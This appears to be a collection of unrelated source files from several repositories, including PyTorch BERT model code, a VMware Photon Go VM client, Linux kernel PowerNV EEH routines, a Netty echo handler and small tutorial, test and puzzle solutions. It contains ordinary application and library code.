# masked positions, this operation will create a tensor which is 0.0 for
# positions we want to attend and -10000.0 for masked positions.
# Since we are adding it to the raw scores before the softmax, this is
# effectively the same as removing these entirely.
extended_attention_mask = extended_attention_mask.to(dtype=next(self.parameters()).dtype) # fp16 compatibility
extended_attention_mask = (1.0 - extended_attention_mask) * -10000.0
# If a 2D ou 3D attention mask is provided for the cross-attention
# we need to make broadcastabe to [batch_size, num_heads, seq_length, seq_length]
if self.is_decoder and encoder_hidden_states is not None:
encoder_batch_size, encoder_sequence_length, _ = encoder_hidden_states.size()
encoder_hidden_shape = (encoder_batch_size, encoder_sequence_length)
if encoder_attention_mask is None:
encoder_attention_mask = torch.ones(encoder_hidden_shape, device=device)
if encoder_attention_mask.dim() == 3:
encoder_extended_attention_mask = encoder_attention_mask[:, None, :, :]
elif encoder_attention_mask.dim() == 2:
encoder_extended_attention_mask = encoder_attention_mask[:, None, None, :]
else:
raise ValueError(
"Wrong shape for encoder_hidden_shape (shape {}) or encoder_attention_mask (shape {})".format(
encoder_hidden_shape, encoder_attention_mask.shape
)
)
encoder_extended_attention_mask = encoder_extended_attention_mask.to(
dtype=next(self.parameters()).dtype
) # fp16 compatibility
encoder_extended_attention_mask = (1.0 - encoder_extended_attention_mask) * -10000.0
else:
encoder_extended_attention_mask = None
# Prepare head mask if needed
# 1.0 in head_mask indicate we keep the head
# attention_probs has shape bsz x n_heads x N x N
# input head_mask has shape [num_heads] or [num_hidden_layers x num_heads]
# and head_mask is converted to shape [num_hidden_layers x batch x num_heads x seq_length x seq_length]
if head_mask is not None:
if head_mask.dim() == 1:
head_mask = head_mask.unsqueeze(0).unsqueeze(0).unsqueeze(-1).unsqueeze(-1)
head_mask = head_mask.expand(self.config.num_hidden_layers, -1, -1, -1, -1)
elif head_mask.dim() == 2:
head_mask = (
head_mask.unsqueeze(1).unsqueeze(-1).unsqueeze(-1)
) # We can specify head_mask for each layer
head_mask = head_mask.to(
dtype=next(self.parameters()).dtype
) # switch to fload if need + fp16 compatibility
else:
head_mask = [None] * self.config.num_hidden_layers
embedding_output = self.embeddings(input_ids=input_ids)
encoder_outputs = self.encoder(
embedding_output,
attention_mask=extended_attention_mask,
head_mask=head_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_extended_attention_mask,
)
sequence_output = encoder_outputs[0]
pooled_output = self.pooler(sequence_output)
# outputs = (sequence_output, pooled_output,) + encoder_outputs[
# 1:
# ] # add hidden_states and attentions if they are here
return pooled_output # sequence_output, pooled_output, (hidden_states), (attentions)
class BertConfig:
model_type = "bert"
def __init__(
self,
vocab_size=30522,
hidden_size=768,
num_hidden_layers=12,
num_attention_heads=12,
intermediate_size=3072,
hidden_act="gelu",
hidden_dropout_prob=0.1,
attention_probs_dropout_prob=0.1,
max_position_embeddings=64,
initializer_range=0.02,
layer_norm_eps=1e-12,
**kwargs
):
super().__init__(**kwargs)
self.vocab_size = vocab_size
self.hidden_size = hidden_size
self.num_hidden_layers = num_hidden_layers
self.num_attention_heads = num_attention_heads
self.hidden_act = hidden_act
self.intermediate_size = intermediate_size
self.hidden_dropout_prob = hidden_dropout_prob
self.attention_probs_dropout_prob = attention_probs_dropout_prob
self.max_position_embeddings = max_position_embeddings
self.initializer_range = initializer_range
self.layer_norm_eps = layer_norm_eps
if __name__ == "__main__":
config = BertConfig()
model = BertModel(config)
a = torch.zeros(20, 64).long()
print(a.size())
output = model(a)
print(output.size())
|
urjitbhatia/unik | vendor/github.com/vmware/photon-controller-go-sdk/photon/vms.go | <reponame>urjitbhatia/unik
// Copyright (c) 2016 VMware, Inc. All Rights Reserved.
//
// This product is licensed to you under the Apache License, Version 2.0 (the "License").
// You may not use this product except in compliance with the License.
//
// This product may include a number of subcomponents with separate copyright notices and
// license terms. Your use of these subcomponents is subject to the terms and conditions
// of the subcomponent's license, as noted in the LICENSE file.
package photon
import (
"bytes"
"encoding/json"
"github.com/vmware/photon-controller-go-sdk/photon/internal/rest"
)
// Contains functionality for VMs API.
type VmAPI struct {
client *Client
}
var vmUrl string = "/vms/"
func (api *VmAPI) Get(id string) (vm *VM, err error) {
res, err := rest.Get(api.client.httpClient, api.client.Endpoint+vmUrl+id, api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
res, err = getError(res)
if err != nil {
return
}
vm = &VM{}
err = json.NewDecoder(res.Body).Decode(vm)
return
}
func (api *VmAPI) Delete(id string) (task *Task, err error) {
res, err := rest.Delete(api.client.httpClient, api.client.Endpoint+vmUrl+id, api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
task, err = getTask(getError(res))
return
}
func (api *VmAPI) AttachDisk(id string, op *VmDiskOperation) (task *Task, err error) {
body, err := json.Marshal(op)
if err != nil {
return
}
res, err := rest.Post(api.client.httpClient,
api.client.Endpoint+vmUrl+id+"/attach_disk",
"application/json",
bytes.NewReader(body),
api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
task, err = getTask(getError(res))
return
}
func (api *VmAPI) DetachDisk(id string, op *VmDiskOperation) (task *Task, err error) {
body, err := json.Marshal(op)
if err != nil {
return
}
res, err := rest.Post(api.client.httpClient,
api.client.Endpoint+vmUrl+id+"/detach_disk",
"application/json",
bytes.NewReader(body),
api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
task, err = getTask(getError(res))
return
}
func (api *VmAPI) AttachISO(id, isoPath string) (task *Task, err error) {
res, err := rest.MultipartUploadFile(api.client.httpClient,
api.client.Endpoint+vmUrl+id+"/attach_iso",
isoPath,
nil,
api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
result, err := getTask(getError(res))
return result, err
}
func (api *VmAPI) DetachISO(id string) (task *Task, err error) {
body := []byte{}
if err != nil {
return
}
res, err := rest.Post(api.client.httpClient,
api.client.Endpoint+vmUrl+id+"/detach_iso",
"application/json",
bytes.NewReader(body),
api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
task, err = getTask(getError(res))
return
}
func (api *VmAPI) Start(id string) (task *Task, err error) {
body := []byte{}
if err != nil {
return
}
res, err := rest.Post(api.client.httpClient,
api.client.Endpoint+vmUrl+id+"/start",
"application/json",
bytes.NewReader(body),
api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
task, err = getTask(getError(res))
return
}
func (api *VmAPI) Stop(id string) (task *Task, err error) {
body := []byte{}
if err != nil {
return
}
res, err := rest.Post(api.client.httpClient,
api.client.Endpoint+vmUrl+id+"/stop",
"application/json",
bytes.NewReader(body),
api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
task, err = getTask(getError(res))
return
}
func (api *VmAPI) Restart(id string) (task *Task, err error) {
body := []byte{}
if err != nil {
return
}
res, err := rest.Post(api.client.httpClient,
api.client.Endpoint+vmUrl+id+"/restart",
"application/json",
bytes.NewReader(body),
api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
task, err = getTask(getError(res))
return
}
func (api *VmAPI) Resume(id string) (task *Task, err error) {
body := []byte{}
if err != nil {
return
}
res, err := rest.Post(api.client.httpClient,
api.client.Endpoint+vmUrl+id+"/resume",
"application/json",
bytes.NewReader(body),
api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
task, err = getTask(getError(res))
return
}
func (api *VmAPI) Suspend(id string) (task *Task, err error) {
body := []byte{}
if err != nil {
return
}
res, err := rest.Post(api.client.httpClient,
api.client.Endpoint+vmUrl+id+"/suspend",
"application/json",
bytes.NewReader(body),
api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
task, err = getTask(getError(res))
return
}
func (api *VmAPI) SetMetadata(id string, metadata *VmMetadata) (task *Task, err error) {
body, err := json.Marshal(metadata)
if err != nil {
return
}
res, err := rest.Post(api.client.httpClient,
api.client.Endpoint+vmUrl+id+"/set_metadata",
"application/json",
bytes.NewReader(body),
api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
task, err = getTask(getError(res))
return
}
// Gets all tasks with the specified vm ID, using options to filter the results.
// If options is nil, no filtering will occur.
func (api *VmAPI) GetTasks(id string, options *TaskGetOptions) (result *TaskList, err error) {
uri := api.client.Endpoint + vmUrl + id + "/tasks"
if options != nil {
uri += getQueryString(options)
}
res, err := rest.GetList(api.client.httpClient, api.client.Endpoint, uri, api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
result = &TaskList{}
err = json.Unmarshal(res, result)
return
}
func (api *VmAPI) GetNetworks(id string) (task *Task, err error) {
res, err := rest.Get(api.client.httpClient, api.client.Endpoint+vmUrl+id+"/networks", api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
task, err = getTask(getError(res))
return
}
func (api *VmAPI) GetMKSTicket(id string) (task *Task, err error) {
res, err := rest.Get(api.client.httpClient, api.client.Endpoint+vmUrl+id+"/mks_ticket", api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
task, err = getTask(getError(res))
return
}
func (api *VmAPI) SetTag(id string, tag *VmTag) (task *Task, err error) {
body, err := json.Marshal(tag)
if err != nil {
return
}
res, err := rest.Post(api.client.httpClient,
api.client.Endpoint+vmUrl+id+"/tags",
"application/json",
bytes.NewReader(body),
api.client.options.TokenOptions.AccessToken)
if err != nil {
return
}
defer res.Body.Close()
task, err = getTask(getError(res))
return
}
|
ebyhr/trino-commander | trino-api/src/main/java/org/trino/commander/service/SystemService.java | <gh_stars>1-10
package org.trino.commander.service;
import static java.lang.String.format;
import java.util.List;
import org.springframework.cache.annotation.CacheConfig;
import org.springframework.cache.annotation.Cacheable;
import org.springframework.stereotype.Service;
import org.trino.commander.client.TrinoAdminClient;
import org.trino.commander.client.TrinoClient;
import org.trino.commander.client.TrinoProperties;
import org.trino.commander.model.trino.Node;
import org.trino.commander.model.trino.Query;
import lombok.RequiredArgsConstructor;
@Service
@RequiredArgsConstructor
@CacheConfig(cacheNames = "system")
public class SystemService {
private final TrinoClient trinoClient;
private final TrinoAdminClient trinoAdminClient;
private final TrinoProperties trinoProperties;
@Cacheable
public Node getNode() {
return trinoClient.getNode();
}
public List<Query> getQueries() {
return trinoAdminClient.getQueries();
}
public Query getQuery(String queryId) {
return trinoAdminClient.getQuery(queryId);
}
public String getRedirectUrl(String queryId) {
return format("%s/ui/query.html?%s", trinoProperties.getCoordinatorUrl(), queryId);
}
public void cancel(String queryId) {
trinoAdminClient.cancel(queryId);
}
}
|
felipeaagoncalves/FlAixEnergy-Project | pandapower/Firmware/Tutorials/test6_ActivePowerCurtailmentWithOPF.py | <filename>pandapower/Firmware/Tutorials/test6_ActivePowerCurtailmentWithOPF.py
# -*- coding: utf-8 -*-
"""
Created on Wed May 30 13:37:56 2018
@author: uoa-student2
"""
import pandapower as pp
from numpy import array
net = pp.create_empty_network()
#create buses
bus1 = pp.create_bus(net, vn_kv=220., min_vm_pu=1.0, max_vm_pu=1.02)
bus2 = pp.create_bus(net, vn_kv=110., min_vm_pu=1.0, max_vm_pu=1.02)
bus3 = pp.create_bus(net, vn_kv=110., min_vm_pu=1.0, max_vm_pu=1.02)
bus4 = pp.create_bus(net, vn_kv=110., min_vm_pu=1.0, max_vm_pu=1.02)
bus = net.bus
#create 220/110 kV transformer
pp.create_transformer(net, bus1, bus2, std_type="100 MVA 220/110 kV", max_loading_percent=50)
trafo = net.trafo
#create 110 kV lines
pp.create_line(net, bus2, bus3, length_km=70., std_type='149-AL1/24-ST1A 110.0', max_loading_percent=50)
pp.create_line(net, bus3, bus4, length_km=50., std_type='149-AL1/24-ST1A 110.0', max_loading_percent=50)
pp.create_line(net, bus4, bus2, length_km=40., std_type='149-AL1/24-ST1A 110.0', max_loading_percent=50)
line = net.line
#create loads
pp.create_load(net, bus2, p_kw=60e3, controllable = False)
pp.create_load(net, bus3, p_kw=70e3, controllable = False)
pp.create_load(net, bus4, p_kw=10e3, controllable = False)
load = net.load
#create generators
eg = pp.create_ext_grid(net, bus1)
g0 = pp.create_gen(net, bus3, p_kw=-80e3, min_p_kw=-80e3, max_p_kw=0., vm_pu=1.01, controllable=True)
g1 = pp.create_gen(net, bus4, p_kw=-100e3, min_p_kw=-100e3, max_p_kw=0., vm_pu=1.01, controllable=True)
ext_grid = net.ext_grid
gen = net.gen
pp.create_polynomial_cost(net, 0, 'gen', array([-1e5, 0]))
pp.create_polynomial_cost(net, 1, 'gen', array([-1e5, 0]))
pp.runopp(net, verbose=True)
res_gen = net.res_gen
res_cost = net.res_cost
res_ext_grid = net.res_ext_grid
res_bus = net.res_bus
res_trafo = net.res_trafo
res_line = net.res_line
|
subramp-prep/leetcode | problems/373.Find_K_Pairs_with_Smallest_Sums/yin_bruteforce_k2.cpp | // Brute force
// Time Complexity O(k2)
// Space Complexity O(k2)
class Solution {
public:
vector<pair<int, int>> kSmallestPairs(vector<int>& nums1, vector<int>& nums2, int k)
{
int n1 = nums1.size(), n2 = nums2.size();
vector<pair<int, int>> res;
if (n1 == 0 || n2 == 0 || k == 0) return res; // empty input
// produce all pairs
for (int i = 0; i < min(n1, k); ++i)
for (int j = 0; j < min(n2, k); ++j)
res.push_back(make_pair(nums1[i], nums2[j]));
// sort them by sum
auto cmp = [](pair<int, int> p1, pair<int, int> p2) { return p1.first + p1.second < p2.first + p2.second; }; // custom compare
sort(res.begin(), res.end(), cmp);
//return first k values
if (res.size() > k) res.erase(res.begin() + k, res.end());
return res;
}
}; |
easylogic/inspector | src/el/editor/ui/property-editor/svg-filter-preset/grayscale.js | export default [{
type: 'Saturate',
values: '0'
}] |
PrabhuJoseph/cloudbreak | core/src/test/java/com/sequenceiq/cloudbreak/structuredevent/StructuredFlowEventFactoryTest.java | <filename>core/src/test/java/com/sequenceiq/cloudbreak/structuredevent/StructuredFlowEventFactoryTest.java
package com.sequenceiq.cloudbreak.structuredevent;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNull;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.eq;
import static org.mockito.Mockito.when;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import org.springframework.core.convert.ConversionService;
import com.sequenceiq.cloudbreak.TestUtil;
import com.sequenceiq.cloudbreak.common.service.Clock;
import com.sequenceiq.cloudbreak.domain.Blueprint;
import com.sequenceiq.cloudbreak.domain.stack.Stack;
import com.sequenceiq.cloudbreak.domain.stack.cluster.Cluster;
import com.sequenceiq.cloudbreak.service.stack.StackService;
import com.sequenceiq.cloudbreak.structuredevent.converter.ClusterToClusterDetailsConverter;
import com.sequenceiq.cloudbreak.structuredevent.event.BlueprintDetails;
import com.sequenceiq.cloudbreak.structuredevent.event.FlowDetails;
import com.sequenceiq.cloudbreak.structuredevent.event.StackDetails;
import com.sequenceiq.cloudbreak.structuredevent.event.StructuredFlowEvent;
import com.sequenceiq.flow.ha.NodeConfig;
@ExtendWith(MockitoExtension.class)
public class StructuredFlowEventFactoryTest {
@Mock
private StackService stackService;
@Mock
private ConversionService conversionService;
@Mock
private Clock clock;
@Mock
private NodeConfig nodeConfig;
@Mock
private ClusterToClusterDetailsConverter clusterToClusterDetailsConverter;
@InjectMocks
private LegacyStructuredFlowEventFactory legacyStructuredFlowEventFactory;
private String bpName = "testBpName";
@Test
public void createStucturedFlowEvent() {
Stack stack = TestUtil.stack();
Cluster cluster = TestUtil.cluster();
Blueprint blueprint = TestUtil.blueprint();
cluster.setBlueprint(blueprint);
stack.setCluster(cluster);
BlueprintDetails blueprintDetails = new BlueprintDetails();
blueprintDetails.setBlueprintName(bpName);
when(conversionService.convert(any(), eq(StackDetails.class))).thenReturn(null);
when(conversionService.convert(blueprint, BlueprintDetails.class)).thenReturn(blueprintDetails);
when(stackService.getByIdWithTransaction(1L)).thenReturn(stack);
StructuredFlowEvent result = legacyStructuredFlowEventFactory.createStucturedFlowEvent(1L, new FlowDetails(), true);
assertNull(result.getException());
assertEquals(bpName, result.getBlueprintDetails().getBlueprintName());
}
} |
Dbevan/SunderingShadows | d/deku/sanctuary/tower/balcony01.c | #include <std.h>
#include "../dragon.h";
inherit BBALCONY;
void create() {
::create();
set_exits( ([
"door" : TOWER+"study01",
"southeast" : TOWER+"balcony02",
"southwest" : TOWER+"balcony03",
"downstairs" : TOWER+"lobby",
]) );
set_door("door",TOWER+"study01","door","tower key");
}
void reset() {
::reset();
if(!present("animated guard")) {
new(MON+"guard")->move(TO);
new(MON+"guard")->move(TO);
}
}
|
lokeshjindal15/pd-gem5_transformer | kernel_dvfs/linux-linaro-tracking-gem5/arch/powerpc/platforms/powernv/eeh-powernv.c | /*
* The file intends to implement the platform dependent EEH operations on
* powernv platform. Actually, the powernv was created in order to fully
* hypervisor support.
*
* Copyright <NAME> & <NAME>, IBM Corporation 2013.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*/
#include <linux/atomic.h>
#include <linux/delay.h>
#include <linux/export.h>
#include <linux/init.h>
#include <linux/list.h>
#include <linux/msi.h>
#include <linux/of.h>
#include <linux/pci.h>
#include <linux/proc_fs.h>
#include <linux/rbtree.h>
#include <linux/sched.h>
#include <linux/seq_file.h>
#include <linux/spinlock.h>
#include <asm/eeh.h>
#include <asm/eeh_event.h>
#include <asm/firmware.h>
#include <asm/io.h>
#include <asm/iommu.h>
#include <asm/machdep.h>
#include <asm/msi_bitmap.h>
#include <asm/opal.h>
#include <asm/ppc-pci.h>
#include "powernv.h"
#include "pci.h"
/**
* powernv_eeh_init - EEH platform dependent initialization
*
* EEH platform dependent initialization on powernv
*/
static int powernv_eeh_init(void)
{
/* We require OPALv3 */
if (!firmware_has_feature(FW_FEATURE_OPALv3)) {
pr_warning("%s: OPALv3 is required !\n", __func__);
return -EINVAL;
}
/* Set EEH probe mode */
eeh_probe_mode_set(EEH_PROBE_MODE_DEV);
return 0;
}
/**
* powernv_eeh_post_init - EEH platform dependent post initialization
*
* EEH platform dependent post initialization on powernv. When
* the function is called, the EEH PEs and devices should have
* been built. If the I/O cache staff has been built, EEH is
* ready to supply service.
*/
static int powernv_eeh_post_init(void)
{
struct pci_controller *hose;
struct pnv_phb *phb;
int ret = 0;
list_for_each_entry(hose, &hose_list, list_node) {
phb = hose->private_data;
if (phb->eeh_ops && phb->eeh_ops->post_init) {
ret = phb->eeh_ops->post_init(hose);
if (ret)
break;
}
}
return ret;
}
/**
* powernv_eeh_dev_probe - Do probe on PCI device
* @dev: PCI device
* @flag: unused
*
* When EEH module is installed during system boot, all PCI devices
* are checked one by one to see if it supports EEH. The function
* is introduced for the purpose. By default, EEH has been enabled
* on all PCI devices. That's to say, we only need do necessary
* initialization on the corresponding eeh device and create PE
* accordingly.
*
* It's notable that's unsafe to retrieve the EEH device through
* the corresponding PCI device. During the PCI device hotplug, which
* was possiblly triggered by EEH core, the binding between EEH device
* and the PCI device isn't built yet.
*/
static int powernv_eeh_dev_probe(struct pci_dev *dev, void *flag)
{
struct pci_controller *hose = pci_bus_to_host(dev->bus);
struct pnv_phb *phb = hose->private_data;
struct device_node *dn = pci_device_to_OF_node(dev);
struct eeh_dev *edev = of_node_to_eeh_dev(dn);
/*
* When probing the root bridge, which doesn't have any
* subordinate PCI devices. We don't have OF node for
* the root bridge. So it's not reasonable to continue
* the probing.
*/
if (!dn || !edev || edev->pe)
return 0;
/* Skip for PCI-ISA bridge */
if ((dev->class >> 8) == PCI_CLASS_BRIDGE_ISA)
return 0;
/* Initialize eeh device */
edev->class_code = dev->class;
edev->mode &= 0xFFFFFF00;
if (dev->hdr_type == PCI_HEADER_TYPE_BRIDGE)
edev->mode |= EEH_DEV_BRIDGE;
if (pci_is_pcie(dev)) {
edev->pcie_cap = pci_pcie_cap(dev);
if (pci_pcie_type(dev) == PCI_EXP_TYPE_ROOT_PORT)
edev->mode |= EEH_DEV_ROOT_PORT;
else if (pci_pcie_type(dev) == PCI_EXP_TYPE_DOWNSTREAM)
edev->mode |= EEH_DEV_DS_PORT;
}
edev->config_addr = ((dev->bus->number << 8) | dev->devfn);
edev->pe_config_addr = phb->bdfn_to_pe(phb, dev->bus, dev->devfn & 0xff);
/* Create PE */
eeh_add_to_parent_pe(edev);
/*
* Enable EEH explicitly so that we will do EEH check
* while accessing I/O stuff
*/
eeh_set_enable(true);
/* Save memory bars */
eeh_save_bars(edev);
return 0;
}
/**
* powernv_eeh_set_option - Initialize EEH or MMIO/DMA reenable
* @pe: EEH PE
* @option: operation to be issued
*
* The function is used to control the EEH functionality globally.
* Currently, following options are support according to PAPR:
* Enable EEH, Disable EEH, Enable MMIO and Enable DMA
*/
static int powernv_eeh_set_option(struct eeh_pe *pe, int option)
{
struct pci_controller *hose = pe->phb;
struct pnv_phb *phb = hose->private_data;
int ret = -EEXIST;
/*
* What we need do is pass it down for hardware
* implementation to handle it.
*/
if (phb->eeh_ops && phb->eeh_ops->set_option)
ret = phb->eeh_ops->set_option(pe, option);
return ret;
}
/**
* powernv_eeh_get_pe_addr - Retrieve PE address
* @pe: EEH PE
*
* Retrieve the PE address according to the given tranditional
* PCI BDF (Bus/Device/Function) address.
*/
static int powernv_eeh_get_pe_addr(struct eeh_pe *pe)
{
return pe->addr;
}
/**
* powernv_eeh_get_state - Retrieve PE state
* @pe: EEH PE
* @delay: delay while PE state is temporarily unavailable
*
* Retrieve the state of the specified PE. For IODA-compitable
* platform, it should be retrieved from IODA table. Therefore,
* we prefer passing down to hardware implementation to handle
* it.
*/
static int powernv_eeh_get_state(struct eeh_pe *pe, int *delay)
{
struct pci_controller *hose = pe->phb;
struct pnv_phb *phb = hose->private_data;
int ret = EEH_STATE_NOT_SUPPORT;
if (phb->eeh_ops && phb->eeh_ops->get_state) {
ret = phb->eeh_ops->get_state(pe);
/*
* If the PE state is temporarily unavailable,
* to inform the EEH core delay for default
* period (1 second)
*/
if (delay) {
*delay = 0;
if (ret & EEH_STATE_UNAVAILABLE)
*delay = 1000;
}
}
return ret;
}
/**
* powernv_eeh_reset - Reset the specified PE
* @pe: EEH PE
* @option: reset option
*
* Reset the specified PE
*/
static int powernv_eeh_reset(struct eeh_pe *pe, int option)
{
struct pci_controller *hose = pe->phb;
struct pnv_phb *phb = hose->private_data;
int ret = -EEXIST;
if (phb->eeh_ops && phb->eeh_ops->reset)
ret = phb->eeh_ops->reset(pe, option);
return ret;
}
/**
* powernv_eeh_wait_state - Wait for PE state
* @pe: EEH PE
* @max_wait: maximal period in microsecond
*
* Wait for the state of associated PE. It might take some time
* to retrieve the PE's state.
*/
static int powernv_eeh_wait_state(struct eeh_pe *pe, int max_wait)
{
int ret;
int mwait;
while (1) {
ret = powernv_eeh_get_state(pe, &mwait);
/*
* If the PE's state is temporarily unavailable,
* we have to wait for the specified time. Otherwise,
* the PE's state will be returned immediately.
*/
if (ret != EEH_STATE_UNAVAILABLE)
return ret;
max_wait -= mwait;
if (max_wait <= 0) {
pr_warning("%s: Timeout getting PE#%x's state (%d)\n",
__func__, pe->addr, max_wait);
return EEH_STATE_NOT_SUPPORT;
}
msleep(mwait);
}
return EEH_STATE_NOT_SUPPORT;
}
/**
* powernv_eeh_get_log - Retrieve error log
* @pe: EEH PE
* @severity: temporary or permanent error log
* @drv_log: driver log to be combined with retrieved error log
* @len: length of driver log
*
* Retrieve the temporary or permanent error from the PE.
*/
static int powernv_eeh_get_log(struct eeh_pe *pe, int severity,
char *drv_log, unsigned long len)
{
struct pci_controller *hose = pe->phb;
struct pnv_phb *phb = hose->private_data;
int ret = -EEXIST;
if (phb->eeh_ops && phb->eeh_ops->get_log)
ret = phb->eeh_ops->get_log(pe, severity, drv_log, len);
return ret;
}
/**
* powernv_eeh_configure_bridge - Configure PCI bridges in the indicated PE
* @pe: EEH PE
*
* The function will be called to reconfigure the bridges included
* in the specified PE so that the mulfunctional PE would be recovered
* again.
*/
static int powernv_eeh_configure_bridge(struct eeh_pe *pe)
{
struct pci_controller *hose = pe->phb;
struct pnv_phb *phb = hose->private_data;
int ret = 0;
if (phb->eeh_ops && phb->eeh_ops->configure_bridge)
ret = phb->eeh_ops->configure_bridge(pe);
return ret;
}
/**
* powernv_eeh_next_error - Retrieve next EEH error to handle
* @pe: Affected PE
*
* Using OPAL API, to retrieve next EEH error for EEH core to handle
*/
static int powernv_eeh_next_error(struct eeh_pe **pe)
{
struct pci_controller *hose;
struct pnv_phb *phb = NULL;
list_for_each_entry(hose, &hose_list, list_node) {
phb = hose->private_data;
break;
}
if (phb && phb->eeh_ops->next_error)
return phb->eeh_ops->next_error(pe);
return -EEXIST;
}
static int powernv_eeh_restore_config(struct device_node *dn)
{
struct eeh_dev *edev = of_node_to_eeh_dev(dn);
struct pnv_phb *phb;
s64 ret;
if (!edev)
return -EEXIST;
phb = edev->phb->private_data;
ret = opal_pci_reinit(phb->opal_id,
OPAL_REINIT_PCI_DEV, edev->config_addr);
if (ret) {
pr_warn("%s: Can't reinit PCI dev 0x%x (%lld)\n",
__func__, edev->config_addr, ret);
return -EIO;
}
return 0;
}
static struct eeh_ops powernv_eeh_ops = {
.name = "powernv",
.init = powernv_eeh_init,
.post_init = powernv_eeh_post_init,
.of_probe = NULL,
.dev_probe = powernv_eeh_dev_probe,
.set_option = powernv_eeh_set_option,
.get_pe_addr = powernv_eeh_get_pe_addr,
.get_state = powernv_eeh_get_state,
.reset = powernv_eeh_reset,
.wait_state = powernv_eeh_wait_state,
.get_log = powernv_eeh_get_log,
.configure_bridge = powernv_eeh_configure_bridge,
.read_config = pnv_pci_cfg_read,
.write_config = pnv_pci_cfg_write,
.next_error = powernv_eeh_next_error,
.restore_config = powernv_eeh_restore_config
};
/**
* eeh_powernv_init - Register platform dependent EEH operations
*
* EEH initialization on powernv platform. This function should be
* called before any EEH related functions.
*/
static int __init eeh_powernv_init(void)
{
int ret = -EINVAL;
if (!machine_is(powernv))
return ret;
ret = eeh_ops_register(&powernv_eeh_ops);
if (!ret)
pr_info("EEH: PowerNV platform initialized\n");
else
pr_info("EEH: Failed to initialize PowerNV platform (%d)\n", ret);
return ret;
}
early_initcall(eeh_powernv_init);
|
zmlcoder/rpcx | rpcx-parent/rpcx-integration-test/src/test/java/com/rpcx/test/integration/HelloWorldServer.java | <reponame>zmlcoder/rpcx<gh_stars>0
package com.rpcx.test.integration;
import java.io.IOException;
import com.zmlcoder.rpcx.common.RpcxException;
import com.zmlcoder.rpcx.server.RpcxServer;
import com.zmlcoder.rpcx.service.RpcxServiceManager;
import com.zmlcoder.rpcx.service.SingletonRpcxServiceProvider;
public class HelloWorldServer {
public static void main(String[] args) throws IOException {
try {
RpcxServiceManager.getInstance().init();
SingletonRpcxServiceProvider provider = new SingletonRpcxServiceProvider(HelloWorldService.class, new EchoHelloWorldService());
RpcxServiceManager.getInstance().add(provider);
RpcxServer server = new RpcxServer("localhost", 6667);
server.start();
System.in.read();
} catch (RpcxException e) {
e.printStackTrace();
}
}
}
|
LunarBaseEngin/lunar-node | src/main/java/lunarion/db/local/Test/LunarServerHandlerTest.java | <reponame>LunarBaseEngin/lunar-node
/** LCG(Lunarion Consultant Group) Confidential
* LCG LunarBase team is funded by LCG.
*
* @author LunarBase team, contacts:
* <EMAIL>
* <EMAIL>
*
* The contents of this file are subject to the Lunarion Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License.
* The Original Code is: LunarBase source code
* The LunarBase source code is managed by the development team at Lunarion.com.
* The Initial Developer of the Original Code is the development team at Lunarion.com.
* Portions created by lunarion are Copyright (C) lunarion.
* All Rights Reserved.
*******************************************************************************
*
*/
package lunarion.db.local.Test;
import java.util.Date;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelInboundHandlerAdapter;
import io.netty.util.ReferenceCountUtil;
public class LunarServerHandlerTest extends ChannelInboundHandlerAdapter {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg)
throws Exception {
try{
ByteBuf buf = (ByteBuf) msg;
byte[] req = new byte[buf.readableBytes()];
buf.readBytes(req);
String body = new String(req, "UTF-8");
System.out.println("LunarNode receive msg: " + body);
//ByteBuf resp = Unpooled.copiedBuffer(body.getBytes());
int len = body.getBytes().length;
ByteBuf response = Unpooled.buffer(4+len);
response.writeInt(len);
response.writeBytes(body.getBytes());
ctx.write(response);
}
finally
{
ReferenceCountUtil.release(msg);
}
}
@Override
public void channelReadComplete(ChannelHandlerContext ctx) throws Exception {
/*
* flushes first, then send data to socketChannel
*/
ctx.flush();
}
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause)
throws Exception {
System.out.println("Exception caught @exceptionCaught..");
ctx.close();
}
} |
jhonatasrm/chromium-android | app/src/main/java/org/chromium/chrome/browser/browseractions/BrowserActionsContextMenuItemDelegate.java | <gh_stars>1-10
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
package org.chromium.chrome.browser.browseractions;
import android.app.Activity;
import android.app.PendingIntent;
import android.app.PendingIntent.CanceledException;
import android.content.ClipData;
import android.content.ClipboardManager;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.provider.Browser;
import org.chromium.base.Log;
import org.chromium.chrome.browser.IntentHandler;
import org.chromium.chrome.browser.LaunchIntentDispatcher;
import org.chromium.chrome.browser.offlinepages.OfflinePageBridge;
import org.chromium.chrome.browser.offlinepages.OfflinePageOrigin;
import org.chromium.chrome.browser.profiles.Profile;
import org.chromium.chrome.browser.share.ShareHelper;
